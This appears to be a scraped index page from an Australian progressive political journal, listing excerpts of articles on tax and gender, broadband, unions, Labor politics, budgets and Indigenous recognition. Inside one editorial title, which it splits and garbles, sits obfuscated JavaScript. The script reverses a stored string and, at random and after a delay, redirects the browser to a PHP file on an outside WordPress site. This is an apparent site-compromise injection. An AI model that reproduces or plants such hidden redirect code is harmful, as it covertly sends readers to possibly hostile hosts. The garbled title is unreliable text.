How the tax system can narrow (or widen) the gender gap

How the tax system can narrow (or widen) the gender gap Andrew Leigh . Yes, Virginia, there is a Gender Gap There are massive gender differences in Australia today. Women comprise just 26 per cent of ASX200 board directors and 7 per cent of ASX200 CEOs. There are more large companies run by men named John than by women. Women make up just 28 per cent of the judiciary. In federal parliament, women comprise only 32.4 per cent of federal...

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The National Broadband Network (NBN) – back to the future for Australia

The National Broadband Network (NBN) - back to the future for Australia Lee Ridge The National Broadband Network (NBN) was one of the policies that contributed to Labor’s national election victory over John Howard’s Liberal-National Party (LNP) government in 2007. The NBN, was Australia’s largest ever infrastructure project. It aimed to connect 98 per cent of Australians to the Internet via a national optical fibre network known as...

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The Energy of Playford

The Energy of Playford David Faber Australia, and with it South Australia, stands at an historical crossroads of socioeconomic development. With climate change a pressing peril, the need to rely on emerging renewable energy technologies for new, lower cost employment in sunrise industries is imperative. Only innovative thinking superseding outdated dogma and vested interests will suffice. The weakness of the defunct National Energy Guarantee...

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Australian Urban Policy: Pat Troy’s contribution

Australian Urban Policy: Pat Troy’s contribution Frank Stilwell Some of the most pressing problems in Australia are urban and regional. Their redress requires deep understanding of how our cities and regions have transformed our relationship to the physical environment and generated a growing economic gulf between winners and losers. That knowledge can inform enlightened urban policies, given the political will to act. This article reflects on...

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Laurie Carmichael-A union life

Laurie Carmichael-A union life Andrew Dettmer The life of was one of service, passion, ideas, and courage.In his 93 years, Laurie was an innovator, a leader, an advocate, a thinker, and a speaker of unparalleled inspiration. Most of all, he was a trade unionist and communist. And a husband and father. Laurie was born in the Melbourne suburb of Coburg in 1925. He attended Merlynston and Coburg State Schools, and went to Brunswick Tech until he...

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Doug Cameron speech to Laurie Carmichael Memorial Event

LAURIE CARMICHAEL MEMORIAL Doug Cameron Laurie Carmichael was a remarkable Australian. He was a leader, a campaigner, an intellectual, and to many union activists he was a mentor and a friend. His values, his principles, his politics and his formidable intellect combined to make him one of the greatest trade unionists this country has produced. He was tough, gruff, and uncompromising when it came to the interests of working class Australians. ...

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An inelegant coup – Editorial Issue 89

An inelegant coup – Editorial Issue 89

Lessons from a most inelegant coup The record shows that Malcolm Turnbull became the Prime Minister of Australia on 15 September 2015. He did so by beating Tony Abbott in a ballot held among the Federal Liberal Parliamentary caucus. Malcolm Turnbull resigned as Parliamentary leader, and hence as Prime Minister, on 24 August 2018 when the Federal Liberal Parliamentary caucus voted to spill the leadership. Scott Morrison was the Treasurer of...

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The Uluru Statement and enshrining a voice for Indigenous Peoples By Thomas Mayor

The Torment of our Powerlessness The Uluru Statement and enshrining a voice for Indigenous Peoples By Thomas Mayor Prime Minister Malcolm Turnbull’s dismissal of the key Uluru Statement From the Heart claim for a constitutionally enshrined Voice to parliament should not deter us from that aspiration. His ignorance should invigorate us because the dismissal demonstrates the importance of the claim. The eminent 19th century African American...

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Beatrix Campbell Reflections on the Revolution and today’s Social Democracy

Beatrix Campbell Reflections on the Revolution and today’s Social Democracy   The SEARCH Foundation arranged a two-week speaking tour by British socialist feminist activist Bea Campbell to mark the Centenary of the Russian Revolution and its meaning and lessons for today. Bea spoke on current issues of inequality, neoliberalism, the renewed interest in radical reforms and socialism, and what lessons the left might draw from the Russian...

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Hall Greenland – what the future could be like

The crises inherent in capitalism – and what transitions might look like   Hall Greenland   The old is dying and the new cannot be born: in this interregnum a great variety of morbid symptoms appear. Antonio Gramsci   The future confronting humanity is either socialism or barbarism. Rosa Luxemburg   The future is already here, it’s just unevenly distributed Kevin Gibson   That most acute analyst of capitalism, Karl Marx,...

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Social policy -post Abbott

Social policy -post Abbott Ben Spies-Butcher Tony Abbott’s departure as Prime Minister led many Australians to draw a sigh of relief. The first Abbott-Hockey Budget represented an unprecedented attack upon Australia’s system of social protection, more so even than the first Howard-Costello Budget. Fending off many of these attacks is an important win, but there is little evidence the Coalition Government has genuinely changed track....

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Canadian Election Shows Neoliberals CAN be Defeated

  Canadian Election Shows Neoliberals CAN be Defeated Jim Stanford Australian progressive movements are busy preparing for a federal election that will be a crucial marker for many core issues: climate, jobs, inequality, fair taxation, globalization, and more. The re-election of the Turnbull government, which has kept intact the harsh agenda of Tony Abbott but put a new face on it, would mark a setback for all of these campaigns. Yet while...

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Harold Levien on Housing

Solving the Housing Problem in Australia Harold Levien The Abbott Government’s economic policy has aggravated Australia’s serious housing problem. The Reserve Bank Governor recently explained the Bank’s repeated interest rate reductions attempted to stimulate the depressed economy. He suggested the Government could borrow at record low interest rates to expand infrastructure spending, which has dramatically fallen since coming to Office,...

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John Langmore on Labor Values

Re-imagining Labor’s Vision for a Flourishing Australia[1] John Langmore   The ALP was established ‘to create a better, fairer life for working people’.  From this foundation Labor’s values, policy and practice have evolved and expanded in response to national and international political, social, economic and cultural forces.  The Party has been a predominantly pragmatic organisation led by practical people committed to a more...

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Frank Stilwell on the The UK Election

THE UK ELECTION: reflections on a tarnished Tory Triumph   Frank Stilwell reports from the UK on the General Election on 8th May that, surprising most pundits and deeply disappointing Labour supporters, gave renewed momentum to the Conservative party.     It was interesting to be in the UK for the general election during May of this year. British governments get a 5-year term, so whoever wins stays in office for a substantially...

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Max Ogden on the ALP & Social Democracy

The ALP Is Not Social Democratic but Should Be Max Ogden   The ALP is not a social democratic party. As the moves for party reform gather momentum, the party’s history and identity needs to be better understood since these make change difficult. The Australian Labor Party, and others of the English speaking countries, are better described as labourist, compared with the social democratic parties such as those in Germany, Sweden, Finland,...

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Vale Joan Kirner

Vale Joan Kirner   Claire Moore   There have been many public statements about the life and achievements of Joan Kirner…daughter, sister, teacher, partner, mother, environment activist, politician, minister, premier, feminist, rock icon….she made a real difference, and influenced lives and policy.   At her beautiful memorial service at the wonderful Williamstown Town Hall, which she loved dearly and was the scene of many...

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Editorial Issue No 81: The Scandal of Unemployment

Editorial Issue No 81: The Sc$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andal of Unemployment

The Federal Budget and the scandal of unemployment   All budgets are essentially fictions as they are based upon projections about an unknowable future: annual rates of GDP growth, levels of taxation revenue, iron ore prices etc. Yet the budgets delivered by this government are beginning to feel more like an episode of Game of Thrones than a credible economic exercise, so divorced are their stated justifications and underlying assumptions...

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Editorial Issue No 80 Renewing Australia’s politics

Editorial Issue No 80 Renewing Australia’s politics

Renewing Australia's politics   The neoliberal pipedream of a Free Market Nirvana is in trouble, even on its own terms. The unfettered free market does not deliver social justice or ecological sustainability – but then it was never supposed to. The neoliberal project was fundamentally about reducing the space for politics - making 'dollar votes' in the market more important than the electoral votes of citizens.   Despite the failures...

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A Question of Political Will

A Question of Political Will Jenny McAllister In 2006, Sheri Berman put the case that “the ideology that triumphed in the twentieth century was not liberalism… it was social democracy.” As the Abbott Government commences a full scale assault on the social democratic institutions which have defined Australian national life, Berman’s bullish assessment provokes the obvious counterpoint – Ah yes, but what of the 21st century? For the...

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Treasury and the Budget: is there an Alternative?

Treasury and the Budget: is there an Alternative?   Geoff Dow   Liberals do not know as much as they think they do about how capitalist economies operate. Nor do they care as much as non-liberals about some of the problems – unemployment, structural change and crisis – that recurrently plague capitalist economies. These are the outcome of interplay between long-standing institutional biases and prevailing intellectual conditions.   The...

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The Coalition budget and the feminisation of austerity

The Coalition budget and the feminisation of austerity   Mark Dean   The Coalition Government’s budget represents a feminisation of austerity that will impact women most of all, and particularly so in disadvantaged urban settings.   The extreme economy of austerity urbanism Contemporary life in many disadvantaged areas in Australia and much of the developed world is a lived reality of ‘extreme economy’. In urban areas, neoliberalism...

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A new model for fairness in employment

A new model for fairness in employment    John Buchanan  The reality of work in contemporary Australia is hugely different from the conventional narrative that everyone who wants a good job can get one. Instead, limited private sector job growth and deteriorating job security are making employment economically and socially unsustainable. Employment is now the bearer of inequality and unfairness. Output per worker has nearly doubled over the...

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Equality and sustainability: Fundamental to the Australian way of life

Equality and sustainability: Fundamental to the Australian way of life Adam Bandt In this country, we value our work-life balance. In the beautiful land of the ‘fair go’, we traditionally value our time outside work and look after each other. Our country is defined by the beauty of our surroundings, land, sea and air. When we’ve finished work, we go out and enjoy the country. And we have put in place structures and systems, like...

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Debts and Deficits: A Primer

Debts and Deficits: A Primer by Jim Stanford   Introduction: Never Let a Crisis Go to Waste  By any yardstick – international, historical, financial – Australia’s public finances are strong and stable.  There is no question about government’s ability to pay its bills.  Indeed, government could certainly mobilize additional resources to finance expanded public sector activity, if Australians decided that was appropriate.   But...

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Labor Scrapes Back for a Fourth Term in SA

Labor Scrapes Back for a Fourth Term in SA  John Wishart and Jack Humphrys The Result The ALP has won a fourth term after 12 years in office. It will rely on the support of Port Pirie Independent Jeff Brock. Labor won 23 seats, the Liberals 22 and 2 sitting independents were returned. Bob Such, the second independent is likely to support the ALP Government, although he has yet to commit and has dramatically taken a 2 month leave of absence...

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There is still distinct disadvantage in Australia

There is still distinct disadvantage in Australia Dr Valerie Cooms* In the 1960s and 1970s, while Aboriginal people in Queensland were suffering from disease and malnutrition, having their under-award wages confiscated, or being jailed for being lazy, idle, careless or leaving gates open, their bins unwashed or committing adultery, newly decolonised Asian, African, and Pacific nations were watching. For a settler colony like Australia to be...

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Rigoletto; two performances reviewed

Rigoletto2 Michael Browne In March and April I had an opportunity to revisit Rigoletto in two productions. In Brisbane, Opera Queensland restaged a production Lindy Hume had originally directed for New Zealand Opera. Opera Australia premiered their new production of Rigoletto in Melbourne. Musically, the two productions had everything in common – wonderful casts, thrilling singing and superb orchestras in the pit. However, the two...

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Challenging the Orthodoxy: Reflections on Frank Stilwell’s Contribution to Political Economy

Schroeder, Susan K and Lynne Chester eds (2014) Challenging the Orthodoxy: Reflections on Frank Stilwell’s Contribution to Political Economy. Springer: Heidelberg, New York, Dordrecht and London. Readers of Australian Options will be familiar with the work of Sydney political economist Professor Frank Stilwell. This edited book is the outcome of a conference in April 2013 to celebrate and acknowledge Stilwell’s immense contributions to...

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